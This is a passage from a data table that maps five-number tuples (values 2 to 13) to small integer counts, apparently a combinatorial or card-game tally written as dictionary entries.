(2, 6, 13, 13, 13): 2,
(2, 7, 7, 7, 7): 5,
(2, 7, 7, 7, 8): 5,
(2, 7, 7, 7, 9): 7,
(2, 7, 7, 7, 10): 9,
(2, 7, 7, 7, 11): 7,
(2, 7, 7, 7, 12): 4,
(2, 7, 7, 7, 13): 8,
(2, 7, 7, 8, 8): 5,
(2, 7, 7, 8, 9): 13,
(2, 7, 7, 8, 10): 9,
(2, 7, 7, 8, 11): 9,
(2, 7, 7, 8, 12): 12,
(2, 7, 7, 8, 13): 8,
(2, 7, 7, 9, 9): 2,
(2, 7, 7, 9, 10): 9,
(2, 7, 7, 9, 11): 10,
(2, 7, 7, 9, 12): 14,
(2, 7, 7, 9, 13): 11,
(2, 7, 7, 10, 10): 7,
(2, 7, 7, 10, 11): 8,
(2, 7, 7, 10, 12): 15,
(2, 7, 7, 10, 13): 5,
(2, 7, 7, 11, 11): 5,
(2, 7, 7, 11, 12): 11,
(2, 7, 7, 11, 13): 6,
(2, 7, 7, 12, 12): 5,
(2, 7, 7, 12, 13): 9,
(2, 7, 7, 13, 13): 8,
(2, 7, 8, 8, 8): 3,
(2, 7, 8, 8, 9): 4,
(2, 7, 8, 8, 10): 11,
(2, 7, 8, 8, 11): 6,
(2, 7, 8, 8, 12): 13,
(2, 7, 8, 8, 13): 8,
(2, 7, 8, 9, 9): 4,
(2, 7, 8, 9, 10): 15,
(2, 7, 8, 9, 11): 19,
(2, 7, 8, 9, 12): 8,
(2, 7, 8, 9, 13): 14,
(2, 7, 8, 10, 10): 13,
(2, 7, 8, 10, 11): 10,
(2, 7, 8, 10, 12): 20,
(2, 7, 8, 10, 13): 7,
(2, 7, 8, 11, 11): 8,
(2, 7, 8, 11, 12): 8,
(2, 7, 8, 11, 13): 13,
(2, 7, 8, 12, 12): 15,
(2, 7, 8, 12, 13): 10,
(2, 7, 8, 13, 13): 4,
(2, 7, 9, 9, 9): 2,
(2, 7, 9, 9, 10): 9,
(2, 7, 9, 9, 11): 5,
(2, 7, 9, 9, 12): 12,
(2, 7, 9, 9, 13): 5,
(2, 7, 9, 10, 10): 11,
(2, 7, 9, 10, 11): 10,
(2, 7, 9, 10, 12): 10,
(2, 7, 9, 10, 13): 16,
(2, 7, 9, 11, 11): 7,
(2, 7, 9, 11, 12): 17,
(2, 7, 9, 11, 13): 11,
(2, 7, 9, 12, 12): 13,
(2, 7, 9, 12, 13): 14,
(2, 7, 9, 13, 13): 4,
(2, 7, 10, 10, 10): 2,
(2, 7, 10, 10, 11): 6,
(2, 7, 10, 10, 12): 9,
(2, 7, 10, 10, 13): 8,
(2, 7, 10, 11, 11): 7,
(2, 7, 10, 11, 12): 15,
(2, 7, 10, 11, 13): 12,
(2, 7, 10, 12, 12): 11,
(2, 7, 10, 12, 13): 10,
(2, 7, 10, 13, 13): 8,
(2, 7, 11, 11, 11): 3,
(2, 7, 11, 11, 12): 6,
(2, 7, 11, 11, 13): 4,
(2, 7, 11, 12, 12): 5,
(2, 7, 11, 12, 13): 8,
(2, 7, 11, 13, 13): 5,
(2, 7, 12, 12, 12): 2,
(2, 7, 12, 12, 13): 9,
(2, 7, 12, 13, 13): 5,
(2, 7, 13, 13, 13): 2,
(2, 8, 8, 8, 8): 1,
(2, 8, 8, 8, 9): 3,
(2, 8, 8, 8, 10): 3,
(2, 8, 8, 8, 11): 3,
(2, 8, 8, 8, 12): 5,
(2, 8, 8, 8, 13): 3,
(2, 8, 8, 9, 9): 2,
(2, 8, 8, 9, 10): 5,
(2, 8, 8, 9, 11): 7,
(2, 8, 8, 9, 12): 12,
(2, 8, 8, 9, 13): 3,
(2, 8, 8, 10, 10): 11,
(2, 8, 8, 10, 11): 9,
(2, 8, 8, 10, 12): 10,
(2, 8, 8, 10, 13): 6,
(2, 8, 8, 11, 11): 4,
(2, 8, 8, 11, 12): 10,
(2, 8, 8, 11, 13): 3,
(2, 8, 8, 12, 12): 7,
(2, 8, 8, 12, 13): 13,
(2, 8, 8, 13, 13): 3,
(2, 8, 9, 9, 10): 2,
(2, 8, 9, 9, 11): 6,
(2, 8, 9, 9, 12): 11,
(2, 8, 9, 9, 13): 5,
(2, 8, 9, 10, 10): 6,
(2, 8, 9, 10, 11): 14,
(2, 8, 9, 10, 12): 18,
(2, 8, 9, 10, 13): 11,
(2, 8, 9, 11, 11): 4,
(2, 8, 9, 11, 12): 9,
(2, 8, 9, 11, 13): 14,
(2, 8, 9, 12, 12): 14,
(2, 8, 9, 12, 13): 5,
(2, 8, 9, 13, 13): 6,
(2, 8, 10, 10, 10): 4,
(2, 8, 10, 10, 11): 4,
(2, 8, 10, 10, 12): 16,
(2, 8, 10, 10, 13): 9,
(2, 8, 10, 11, 11): 5,
(2, 8, 10, 11, 12): 19,
(2, 8, 10, 11, 13): 9,
(2, 8, 10, 12, 12): 6,
(2, 8, 10, 12, 13): 15,
(2, 8, 10, 13, 13): 4,
(2, 8, 11, 11, 11): 1,
(2, 8, 11, 11, 12): 7,
(2, 8, 11, 11, 13): 8,
(2, 8, 11, 12, 12): 9,
(2, 8, 11, 12, 13): 9,
(2, 8, 11, 13, 13): 3,
(2, 8, 12, 12, 12): 8,
(2, 8, 12, 12, 13): 7,
(2, 8, 12, 13, 13): 7,
(2, 8, 13, 13, 13): 3,
(2, 9, 9, 9, 11): 2,
(2, 9, 9, 9, 12): 7,
(2, 9, 9, 9, 13): 2,
(2, 9, 9, 10, 10): 1,
(2, 9, 9, 10, 11): 4,
(2, 9, 9, 10, 12): 12,
(2, 9, 9, 10, 13): 5,
(2, 9, 9, 11, 11): 4,
(2, 9, 9, 11, 12): 6,
(2, 9, 9, 11, 13): 3,
(2, 9, 9, 12, 12): 7,
(2, 9, 9, 12, 13): 7,
(2, 9, 9, 13, 13): 2,
(2, 9, 10, 10, 10): 1,
(2, 9, 10, 10, 11): 7,
(2, 9, 10, 10, 12): 5,
(2, 9, 10, 10, 13): 9,
(2, 9, 10, 11, 11): 4,
(2, 9, 10, 11, 12): 9,
(2, 9, 10, 11, 13): 9,
(2, 9, 10, 12, 12): 9,
(2, 9, 10, 12, 13): 10,
(2, 9, 10, 13, 13): 4,
(2, 9, 11, 11, 11): 4,
(2, 9, 11, 11, 12): 7,
(2, 9, 11, 11, 13): 7,
(2, 9, 11, 12, 12): 9,
(2, 9, 11, 12, 13): 12,
(2, 9, 11, 13, 13): 5,
(2, 9, 12, 12, 12): 7,
(2, 9, 12, 12, 13): 10,
(2, 9, 12, 13, 13): 4,
(2, 9, 13, 13, 13): 1,
(2, 10, 10, 10, 10): 2,
(2, 10, 10, 10, 11): 1,
(2, 10, 10, 10, 12): 4,
(2, 10, 10, 10, 13): 2,
(2, 10, 10, 11, 11): 5,
(2, 10, 10, 11, 12): 4,
(2, 10, 10, 11, 13): 6,
(2, 10, 10, 12, 12): 4,
(2, 10, 10, 12, 13): 9,
(2, 10, 10, 13, 13): 3,
(2, 10, 11, 11, 11): 1,
(2, 10, 11, 11, 12): 7,
(2, 10, 11, 11, 13): 5,
(2, 10, 11, 12, 12): 7,
(2, 10, 11, 12, 13): 7,
(2, 10, 11, 13, 13): 7,
(2, 10, 12, 12, 12): 3,
(2, 10, 12, 12, 13): 8,
(2, 10, 12, 13, 13): 6,
(2, 10, 13, 13, 13): 1,
(2, 11, 11, 11, 11): 2,
(2, 11, 11, 11, 12): 1,
(2, 11, 11, 11, 13): 3,
(2, 11, 11, 12, 12): 1,
(2, 11, 11, 12, 13): 7,
(2, 11, 11, 13, 13): 1,
(2, 11, 12, 12, 12): 1,
(2, 11, 12, 12, 13): 2,
(2, 11, 12, 13, 13): 2,
(2, 12, 12, 12, 12): 1,
(3, 3, 3, 3, 4): 5,
(3, 3, 3, 3, 5): 4,
(3, 3, 3, 3, 6): 6,
(3, 3, 3, 3, 7): 3,
(3, 3, 3, 3, 8): 4,
(3, 3, 3, 3, 9): 2,
(3, 3, 3, 3, 10): 2,
(3, 3, 3, 3, 11): 2,
(3, 3, 3, 3, 12): 6,
(3, 3, 3, 3, 13): 4,
(3, 3, 3, 4, 4): 3,
(3, 3, 3, 4, 5): 8,
(3, 3, 3, 4, 6): 11,
(3, 3, 3, 4, 7): 9,
(3, 3, 3, 4, 8): 5,
(3, 3, 3, 4, 9): 14,
(3, 3, 3, 4, 10): 5,
(3, 3, 3, 4, 11): 8,
(3, 3, 3, 4, 12): 9,
(3, 3, 3, 4, 13): 3,
(3, 3, 3, 5, 5): 3,
(3, 3, 3, 5, 6): 16,
(3, 3, 3, 5, 7): 4,
(3, 3, 3, 5, 8): 7,
(3, 3, 3, 5, 9): 9,
(3, 3, 3, 5, 10): 9,
(3, 3, 3, 5, 11): 2,
(3, 3, 3, 5, 12): 8,
(3, 3, 3, 5, 13): 2,
(3, 3, 3, 6, 6): 7,
(3, 3, 3, 6, 7): 10,
(3, 3, 3, 6, 8): 7,
(3, 3, 3, 6, 9): 17,
(3, 3, 3, 6, 10): 11,
(3, 3, 3, 6, 11): 12,
(3, 3, 3, 6, 12): 11,
(3, 3, 3, 6, 13): 9,
(3, 3, 3, 7, 7): 4,
(3, 3, 3, 7, 8): 7,
(3, 3, 3, 7, 9): 7,
(3, 3, 3, 7, 10): 5,
(3, 3, 3, 7, 11): 3,
(3, 3, 3, 7, 12): 12,
(3, 3, 3, 7, 13): 1,
(3, 3, 3, 8, 8): 2,
(3, 3, 3, 8, 9): 9,
(3, 3, 3, 8, 10): 3,
(3, 3, 3, 8, 11): 4,
(3, 3, 3, 8, 12): 6,
(3, 3, 3, 8, 13): 7,
(3, 3, 3, 9, 9): 4,
(3, 3, 3, 9, 10): 7,
(3, 3, 3, 9, 11): 7,
(3, 3, 3, 9, 12): 14,
(3, 3, 3, 9, 13): 11,
(3, 3, 3, 10, 10): 1,
(3, 3, 3, 10, 11): 6,
(3, 3, 3, 10, 12): 5,
(3, 3, 3, 10, 13): 7,
(3, 3, 3, 11, 11): 1,
(3, 3, 3, 11, 12): 7,
(3, 3, 3, 11, 13): 1,
(3, 3, 3, 12, 12): 8,
(3, 3, 3, 12, 13): 6,
(3, 3, 4, 4, 5): 6,
(3, 3, 4, 4, 6): 17,
(3, 3, 4, 4, 7): 6,
(3, 3, 4, 4, 8): 7,
(3, 3, 4, 4, 9): 7,
(3, 3, 4, 4, 10): 10,
(3, 3, 4, 4, 11): 3,
(3, 3, 4, 4, 12): 6,
(3, 3, 4, 4, 13): 4,
(3, 3, 4, 5, 5): 5,
(3, 3, 4, 5, 6): 12,
(3, 3, 4, 5, 7): 16,
(3, 3, 4, 5, 8): 13,
(3, 3, 4, 5, 9): 19,
(3, 3, 4, 5, 10): 10,
(3, 3, 4, 5, 11): 9,
(3, 3, 4, 5, 12): 19,
(3, 3, 4, 5, 13): 11,
(3, 3, 4, 6, 6): 13,
(3, 3, 4, 6, 7): 14,
(3, 3, 4, 6, 8): 24,
(3, 3, 4, 6, 9): 25,
(3, 3, 4, 6, 10): 20,
(3, 3, 4, 6, 11): 12,
(3, 3, 4, 6, 12): 32,
(3, 3, 4, 6, 13): 11,
(3, 3, 4, 7, 7): 8,
(3, 3, 4, 7, 8): 8,
(3, 3, 4, 7, 9): 20,
(3, 3, 4, 7, 10): 17,
(3, 3, 4, 7, 11): 15,
(3, 3, 4, 7, 12): 11,
(3, 3, 4, 7, 13): 8,
(3, 3, 4, 8, 8): 2,
(3, 3, 4, 8, 9): 12,
(3, 3, 4, 8, 10): 15,
(3, 3, 4, 8, 11): 10,
(3, 3, 4, 8, 12): 10,
(3, 3, 4, 8, 13): 8,
(3, 3, 4, 9, 9): 15,
(3, 3, 4, 9, 10): 12,
(3, 3, 4, 9, 11): 15,
(3, 3, 4, 9, 12): 16,
(3, 3, 4, 9, 13): 11,
(3, 3, 4, 10, 10): 3,
(3, 3, 4, 10, 11): 9,
(3, 3, 4, 10, 12): 27,
(3, 3, 4, 10, 13): 12,
(3, 3, 4, 11, 11): 4,
(3, 3, 4, 11, 12): 12,
(3, 3, 4, 11, 13): 10,
(3, 3, 4, 12, 12): 7,
(3, 3, 4, 12, 13): 6,
(3, 3, 4, 13, 13): 7,
(3, 3, 5, 5, 5): 3,
(3, 3, 5, 5, 6): 9,
(3, 3, 5, 5, 7): 6,
(3, 3, 5, 5, 8): 8,
(3, 3, 5, 5, 9): 3,
(3, 3, 5, 5, 10): 3,
(3, 3, 5, 5, 11): 5,
(3, 3, 5, 5, 12): 13,
(3, 3, 5, 5, 13): 6,
(3, 3, 5, 6, 6): 16,
(3, 3, 5, 6, 7): 25,
(3, 3, 5, 6, 8): 13,
(3, 3, 5, 6, 9): 31,
(3, 3, 5, 6, 10): 15,
(3, 3, 5, 6, 11): 16,
(3, 3, 5, 6, 12): 20,
(3, 3, 5, 6, 13): 15,
(3, 3, 5, 7, 7): 7,
(3, 3, 5, 7, 8): 10,
(3, 3, 5, 7, 9): 11,
(3, 3, 5, 7, 10): 14,
(3, 3, 5, 7, 11): 10,
(3, 3, 5, 7, 12): 18,
(3, 3, 5, 7, 13): 10,
(3, 3, 5, 8, 8): 5,
(3, 3, 5, 8, 9): 14,
(3, 3, 5, 8, 10): 17,
(3, 3, 5, 8, 11): 15,
(3, 3, 5, 8, 12): 8,
(3, 3, 5, 8, 13): 5,
(3, 3, 5, 9, 9): 17,
(3, 3, 5, 9, 10): 22,
(3, 3, 5, 9, 11): 4,
(3, 3, 5, 9, 12): 24,
(3, 3, 5, 9, 13): 5,
(3, 3, 5, 10, 10): 5,
(3, 3, 5, 10, 11): 3,
(3, 3, 5, 10, 12): 15,
(3, 3, 5, 10, 13): 14,
(3, 3, 5, 11, 11): 5,
(3, 3, 5, 11, 12): 14,
(3, 3, 5, 11, 13): 10,
(3, 3, 5, 12, 12): 11,
(3, 3, 5, 12, 13): 12,
(3, 3, 5, 13, 13): 2,
(3, 3, 6, 6, 6): 8,
(3, 3, 6, 6, 7): 11,
(3, 3, 6, 6, 8): 13,
(3, 3, 6, 6, 9): 16,
(3, 3, 6, 6, 10): 10,
(3, 3, 6, 6, 11): 7,
(3, 3, 6, 6, 12): 25,
(3, 3, 6, 6, 13): 8,
(3, 3, 6, 7, 7): 17,
(3, 3, 6, 7, 8): 14,
(3, 3, 6, 7, 9): 23,
(3, 3, 6, 7, 10): 11,
(3, 3, 6, 7, 11): 14,
(3, 3, 6, 7, 12): 17,
(3, 3, 6, 7, 13): 14,
(3, 3, 6, 8, 8): 14,
(3, 3, 6, 8, 9): 23,
(3, 3, 6, 8, 10): 16,
(3, 3, 6, 8, 11): 3,
(3, 3, 6, 8, 12): 28,
(3, 3, 6, 8, 13): 5,
(3, 3, 6, 9, 9): 12,
(3, 3, 6, 9, 10): 22,
(3, 3, 6, 9, 11): 24,
(3, 3, 6, 9, 12): 35,
(3, 3, 6, 9, 13): 26,
(3, 3, 6, 10, 10): 5,
(3, 3, 6, 10, 11): 5,
(3, 3, 6, 10, 12): 21,
(3, 3, 6, 10, 13): 2,
(3, 3, 6, 11, 11): 5,
(3, 3, 6, 11, 12): 18,
(3, 3, 6, 11, 13): 8,
(3, 3, 6, 12, 12): 19,
(3, 3, 6, 12, 13): 17,
(3, 3, 6, 13, 13): 5,
(3, 3, 7, 7, 7): 3,
(3, 3, 7, 7, 8): 10,
(3, 3, 7, 7, 9): 10,
(3, 3, 7, 7, 10): 4,
(3, 3, 7, 7, 11): 5,
(3, 3, 7, 7, 12): 15,
(3, 3, 7, 7, 13): 5,
(3, 3, 7, 8, 8): 5,
(3, 3, 7, 8, 9): 16,
(3, 3, 7, 8, 10): 9,
(3, 3, 7, 8, 11): 4,
(3, 3, 7, 8, 12): 10,
(3, 3, 7, 8, 13): 14,
(3, 3, 7, 9, 9): 9,
(3, 3, 7, 9, 10): 12,
(3, 3, 7, 9, 11): 8,
(3, 3, 7, 9, 12): 21,
(3, 3, 7, 9, 13): 4,
(3, 3, 7, 10, 10): 9,
(3, 3, 7, 10, 11): 12,
(3, 3, 7, 10, 12): 11,
(3, 3, 7, 10, 13): 5,
(3, 3, 7, 11, 11): 5,
(3, 3, 7, 11, 12): 16,
(3, 3, 7, 11, 13): 5,
(3, 3, 7, 12, 12): 9,
(3, 3, 7, 12, 13): 14,
(3, 3, 7, 13, 13): 8,
(3, 3, 8, 8, 8): 1,
(3, 3, 8, 8, 9): 2,
(3, 3, 8, 8, 10): 6,
(3, 3, 8, 8, 11): 2,
(3, 3, 8, 8, 12): 3,
(3, 3, 8, 8, 13): 5,
(3, 3, 8, 9, 9): 10,
(3, 3, 8, 9, 10): 9,
(3, 3, 8, 9, 11): 11,
(3, 3, 8, 9, 12): 14,
(3, 3, 8, 9, 13): 6,
(3, 3, 8, 10, 10): 5,
(3, 3, 8, 10, 11): 12,
(3, 3, 8, 10, 12): 16,
(3, 3, 8, 10, 13): 5,
(3, 3, 8, 11, 11): 5,
(3, 3, 8, 11, 12): 8,
(3, 3, 8, 11, 13): 6,
(3, 3, 8, 12, 12): 4,
(3, 3, 8, 12, 13): 10,
(3, 3, 8, 13, 13): 2,
(3, 3, 9, 9, 9): 3,
(3, 3, 9, 9, 10): 12,
(3, 3, 9, 9, 11): 8,
(3, 3, 9, 9, 12): 16,
(3, 3, 9, 9, 13): 8,
(3, 3, 9, 10, 10): 3,
(3, 3, 9, 10, 11): 11,
(3, 3, 9, 10, 12): 16,
(3, 3, 9, 10, 13): 8,
(3, 3, 9, 11, 11): 1,
(3, 3, 9, 11, 12): 13,
(3, 3, 9, 11, 13): 6,
(3, 3, 9, 12, 12): 15,
(3, 3, 9, 12, 13): 12,
(3, 3, 9, 13, 13): 3,
(3, 3, 10, 10, 10): 1,
(3, 3, 10, 10, 11): 2,
(3, 3, 10, 10, 12): 6,
(3, 3, 10, 10, 13): 7,
(3, 3, 10, 11, 11): 3,
(3, 3, 10, 11, 12): 7,
(3, 3, 10, 11, 13): 5,
(3, 3, 10, 12, 12): 8,
(3, 3, 10, 12, 13): 11,
(3, 3, 10, 13, 13): 6,
(3, 3, 11, 11, 11): 2,
(3, 3, 11, 11, 12): 5,
(3, 3, 11, 11, 13): 3,
(3, 3, 11, 12, 12): 3,
(3, 3, 11, 12, 13): 7,
(3, 3, 11, 13, 13): 2,
(3, 3, 12, 12, 12): 3,
(3, 3, 12, 12, 13): 2,
(3, 3, 12, 13, 13): 6,
(3, 3, 13, 13, 13): 1,
(3, 4, 4, 4, 5): 1,
(3, 4, 4, 4, 6): 6,
(3, 4, 4, 4, 7): 4,
(3, 4, 4, 4, 8): 4,
(3, 4, 4, 4, 9): 3,
(3, 4, 4, 4, 10): 9,
(3, 4, 4, 4, 11): 3,
(3, 4, 4, 4, 12): 2,
(3, 4, 4, 4, 13): 4,
(3, 4, 4, 5, 5): 4,
(3, 4, 4, 5, 6): 19,
(3, 4, 4, 5, 7): 10,
(3, 4, 4, 5, 8): 7,
(3, 4, 4, 5, 9): 8,
(3, 4, 4, 5, 10): 22,
(3, 4, 4, 5, 11): 15,
(3, 4, 4, 5, 12): 6,
(3, 4, 4, 5, 13): 9,
(3, 4, 4, 6, 6): 12,
(3, 4, 4, 6, 7): 16,
(3, 4, 4, 6, 8): 13,
(3, 4, 4, 6, 9): 27,
(3, 4, 4, 6, 10): 17,
(3, 4, 4, 6, 11): 16,
(3, 4, 4, 6, 12): 28,
(3, 4, 4, 6, 13): 11,
(3, 4, 4, 7, 7): 6,
(3, 4, 4, 7, 8): 12,
(3, 4, 4, 7, 9): 10,
(3, 4, 4, 7, 10): 16,
(3, 4, 4, 7, 11): 12,
(3, 4, 4, 7, 12): 9,
(3, 4, 4, 7, 13): 8,
(3, 4, 4, 8, 8): 6,
(3, 4, 4, 8, 9): 10,
(3, 4, 4, 8, 10): 14,
(3, 4, 4, 8, 11): 6,
(3, 4, 4, 8, 12): 9,
(3, 4, 4, 8, 13): 8,
(3, 4, 4, 9, 9): 5,
(3, 4, 4, 9, 10): 14,
(3, 4, 4, 9, 11): 6,
(3, 4, 4, 9, 12): 11,
(3, 4, 4, 9, 13): 8,
(3, 4, 4, 10, 10): 7,
(3, 4, 4, 10, 11): 14,
(3, 4, 4, 10, 12): 17,
(3, 4, 4, 10, 13): 6,
(3, 4, 4, 11, 11): 6,
(3, 4, 4, 11, 12): 8,
(3, 4, 4, 11, 13): 10,
(3, 4, 4, 12, 12): 4,
(3, 4, 4, 12, 13): 7,
(3, 4, 4, 13, 13): 6,
(3, 4, 5, 5, 5): 6,
(3, 4, 5, 5, 6): 17,
(3, 4, 5, 5, 7): 12,
(3, 4, 5, 5, 8): 10,
(3, 4, 5, 5, 9): 12,
(3, 4, 5, 5, 10): 12,
(3, 4, 5, 5, 11): 10,
(3, 4, 5, 5, 12): 9,
(3, 4, 5, 5, 13): 11,
(3, 4, 5, 6, 6): 23,
(3, 4, 5, 6, 7): 21,
(3, 4, 5, 6, 8): 23,
(3, 4, 5, 6, 9): 22,
(3, 4, 5, 6, 10): 25,
(3, 4, 5, 6, 11): 26,
(3, 4, 5, 6, 12): 37,
(3, 4, 5, 6, 13): 21,
(3, 4, 5, 7, 7): 17,
(3, 4, 5, 7, 8): 21,
(3, 4, 5, 7, 9): 19,
(3, 4, 5, 7, 10): 20,
(3, 4, 5, 7, 11): 18,
(3, 4, 5, 7, 12): 30,
(3, 4, 5, 7, 13): 12,
(3, 4, 5, 8, 8): 5,
(3, 4, 5, 8, 9): 17,
(3, 4, 5, 8, 10): 29,
(3, 4, 5, 8, 11): 20,
(3, 4, 5, 8, 12): 12,
(3, 4, 5, 8, 13): 20,
(3, 4, 5, 9, 9): 14,
(3, 4, 5, 9, 10): 22,
(3, 4, 5, 9, 11): 16,
(3, 4, 5, 9, 12): 20,
(3, 4, 5, 9, 13): 19,
(3, 4, 5, 10, 10): 7,
(3, 4, 5, 10, 11): 19,
(3, 4, 5, 10, 12): 19,
(3, 4, 5, 10, 13): 16,
(3, 4, 5, 11, 11): 9,
(3, 4, 5, 11, 12): 14,
(3, 4, 5, 11, 13): 11,
(3, 4, 5, 12, 12): 15,
(3, 4, 5, 12, 13): 19,
(3, 4, 5, 13, 13): 3,
(3, 4, 6, 6, 6): 16,
(3, 4, 6, 6, 7): 22,
(3, 4, 6, 6, 8): 26,
(3, 4, 6, 6, 9): 29,
(3, 4, 6, 6, 10): 18,
(3, 4, 6, 6, 11): 16,
(3, 4, 6, 6, 12): 26,
(3, 4, 6, 6, 13): 17,
(3, 4, 6, 7, 7): 17,
(3, 4, 6, 7, 8): 33,
(3, 4, 6, 7, 9): 30,
(3, 4, 6, 7, 10): 15,
(3, 4, 6, 7, 11): 19,
(3, 4, 6, 7, 12): 36,
(3, 4, 6, 7, 13): 25,
(3, 4, 6, 8, 8): 20,
(3, 4, 6, 8, 9): 33,
(3, 4, 6, 8, 10): 23,
(3, 4, 6, 8, 11): 20,
(3, 4, 6, 8, 12): 61,
(3, 4, 6, 8, 13): 27,
(3, 4, 6, 9, 9): 19,
(3, 4, 6, 9, 10): 30,
(3, 4, 6, 9, 11): 21,
(3, 4, 6, 9, 12): 50,
(3, 4, 6, 9, 13): 15,
(3, 4, 6, 10, 10): 16,
(3, 4, 6, 10, 11): 17,
(3, 4, 6, 10, 12): 26,
(3, 4, 6, 10, 13): 10,
(3, 4, 6, 11, 11): 6,
(3, 4, 6, 11, 12): 25,
(3, 4, 6, 11, 13): 15,
(3, 4, 6, 12, 12): 31,
(3, 4, 6, 12, 13): 30,
(3, 4, 6, 13, 13): 7,
(3, 4, 7, 7, 7): 10,
(3, 4, 7, 7, 8): 12,
(3, 4, 7, 7, 9): 12,
(3, 4, 7, 7, 10): 13,
(3, 4, 7, 7, 11): 11,
(3, 4, 7, 7, 12): 12,
(3, 4, 7, 7, 13): 12,
(3, 4, 7, 8, 8): 8,
(3, 4, 7, 8, 9): 19,
(3, 4, 7, 8, 10): 26,
(3, 4, 7, 8, 11): 20,
(3, 4, 7, 8, 12): 11,
(3, 4, 7, 8, 13): 14,
(3, 4, 7, 9, 9): 14,
(3, 4, 7, 9, 10): 20,
(3, 4, 7, 9, 11): 19,
(3, 4, 7, 9, 12): 21,
(3, 4, 7, 9, 13): 18,
(3, 4, 7, 10, 10): 7,
(3, 4, 7, 10, 11): 17,
(3, 4, 7, 10, 12): 29,
(3, 4, 7, 10, 13): 13,
(3, 4, 7, 11, 11): 8,
(3, 4, 7, 11, 12): 15,
(3, 4, 7, 11, 13): 11,
(3, 4, 7, 12, 12): 8,
(3, 4, 7, 12, 13): 13,
(3, 4, 7, 13, 13): 7,
(3, 4, 8, 8, 8): 4,
(3, 4, 8, 8, 9): 5,
(3, 4, 8, 8, 10): 17,
(3, 4, 8, 8, 11): 4,
(3, 4, 8, 8, 12): 7,
(3, 4, 8, 8, 13): 5,
(3, 4, 8, 9, 9): 13,
(3, 4, 8, 9, 10): 16,
(3, 4, 8, 9, 11): 12,
(3, 4, 8, 9, 12): 22,
(3, 4, 8, 9, 13): 14,
(3, 4, 8, 10, 10): 10,
(3, 4, 8, 10, 11): 15,
(3, 4, 8, 10, 12): 30,
(3, 4, 8, 10, 13): 19,
(3, 4, 8, 11, 11): 11,
(3, 4, 8, 11, 12): 10,
(3, 4, 8, 11, 13): 16,
(3, 4, 8, 12, 12): 17,
(3, 4, 8, 12, 13): 6,
(3, 4, 8, 13, 13): 4,
(3, 4, 9, 9, 9): 12,
(3, 4, 9, 9, 10): 10,
(3, 4, 9, 9, 11): 17,
(3, 4, 9, 9, 12): 16,
(3, 4, 9, 9, 13): 5,
(3, 4, 9, 10, 10): 9,
(3, 4, 9, 10, 11): 16,
(3, 4, 9, 10, 12): 35,
(3, 4, 9, 10, 13): 9,
(3, 4, 9, 11, 11): 6,
(3, 4, 9, 11, 12): 21,
(3, 4, 9, 11, 13): 9,
(3, 4, 9, 12, 12): 11,
(3, 4, 9, 12, 13): 18,
(3, 4, 9, 13, 13): 13,
(3, 4, 10, 10, 10): 4,
(3, 4, 10, 10, 11): 9,
(3, 4, 10, 10, 12): 4,
(3, 4, 10, 10, 13): 8,
(3, 4, 10, 11, 11): 6,
(3, 4, 10, 11, 12): 11,
(3, 4, 10, 11, 13): 11,
(3, 4, 10, 12, 12): 25,
(3, 4, 10, 12, 13): 13,
(3, 4, 10, 13, 13): 7,
(3, 4, 11, 11, 11): 4,
(3, 4, 11, 11, 12): 4,
(3, 4, 11, 11, 13): 7,
(3, 4, 11, 12, 12): 8,
(3, 4, 11, 12, 13): 14,
(3, 4, 11, 13, 13): 7,
(3, 4, 12, 12, 12): 3,
(3, 4, 12, 12, 13): 5,
(3, 4, 12, 13, 13): 7,
(3, 4, 13, 13, 13): 4,
(3, 5, 5, 5, 5): 1,
(3, 5, 5, 5, 6): 3,
(3, 5, 5, 5, 7): 5,
(3, 5, 5, 5, 8): 5,
(3, 5, 5, 5, 9): 5,
(3, 5, 5, 5, 10): 4,
(3, 5, 5, 5, 11): 5,
(3, 5, 5, 5, 12): 3,
(3, 5, 5, 5, 13): 2,
(3, 5, 5, 6, 6): 6,
(3, 5, 5, 6, 7): 8,
(3, 5, 5, 6, 8): 10,
(3, 5, 5, 6, 9): 24,
(3, 5, 5, 6, 10): 9,
(3, 5, 5, 6, 11): 11,
(3, 5, 5, 6, 12): 9,
(3, 5, 5, 6, 13): 8,
(3, 5, 5, 7, 7): 8,
(3, 5, 5, 7, 8): 12,
(3, 5, 5, 7, 9): 9,
(3, 5, 5, 7, 10): 10,
(3, 5, 5, 7, 11): 6,
(3, 5, 5, 7, 12): 8,
(3, 5, 5, 7, 13): 9,
(3, 5, 5, 8, 8): 8,
(3, 5, 5, 8, 9): 9,
(3, 5, 5, 8, 10): 6,
(3, 5, 5, 8, 11): 3,
(3, 5, 5, 8, 12): 13,
(3, 5, 5, 8, 13): 5,
(3, 5, 5, 9, 9): 1,
(3, 5, 5, 9, 10): 8,
(3, 5, 5, 9, 11): 10,
(3, 5, 5, 9, 12): 13,
(3, 5, 5, 9, 13): 8,
(3, 5, 5, 10, 10): 4,
(3, 5, 5, 10, 11): 15,
(3, 5, 5, 10, 12): 13,
(3, 5, 5, 10, 13): 9,
(3, 5, 5, 11, 11): 3,
(3, 5, 5, 11, 12): 3,
(3, 5, 5, 11, 13): 4,
(3, 5, 5, 12, 12): 4,
(3, 5, 5, 12, 13): 6,
(3, 5, 5, 13, 13): 6,
(3, 5, 6, 6, 6): 7,
(3, 5, 6, 6, 7): 9,
(3, 5, 6, 6, 8): 20,
(3, 5, 6, 6, 9): 22,
(3, 5, 6, 6, 10): 25,
(3, 5, 6, 6, 11): 4,
(3, 5, 6, 6, 12): 20,
(3, 5, 6, 6, 13): 7,
(3, 5, 6, 7, 7): 14,
(3, 5, 6, 7, 8): 20,
(3, 5, 6, 7, 9): 30,
(3, 5, 6, 7, 10): 22,
(3, 5, 6, 7, 11): 13,
(3, 5, 6, 7, 12): 28,
(3, 5, 6, 7, 13): 22,
(3, 5, 6, 8, 8): 12,
(3, 5, 6, 8, 9): 19,
(3, 5, 6, 8, 10): 16,
(3, 5, 6, 8, 11): 20,
(3, 5, 6, 8, 12): 43,
(3, 5, 6, 8, 13): 20,
(3, 5, 6, 9, 9): 18,
(3, 5, 6, 9, 10): 21,
(3, 5, 6, 9, 11): 27,
(3, 5, 6, 9, 12): 33,
(3, 5, 6, 9, 13): 19,
(3, 5, 6, 10, 10): 14,
(3, 5, 6, 10, 11): 19,
(3, 5, 6, 10, 12): 24,
(3, 5, 6, 10, 13): 16,
(3, 5, 6, 11, 11): 9,
(3, 5, 6, 11, 12): 17,
(3, 5, 6, 11, 13): 11,
(3, 5, 6, 12, 12): 21,
(3, 5, 6, 12, 13): 14,
(3, 5, 6, 13, 13): 8,
(3, 5, 7, 7, 7): 5,
(3, 5, 7, 7, 8): 14,
(3, 5, 7, 7, 9): 14,
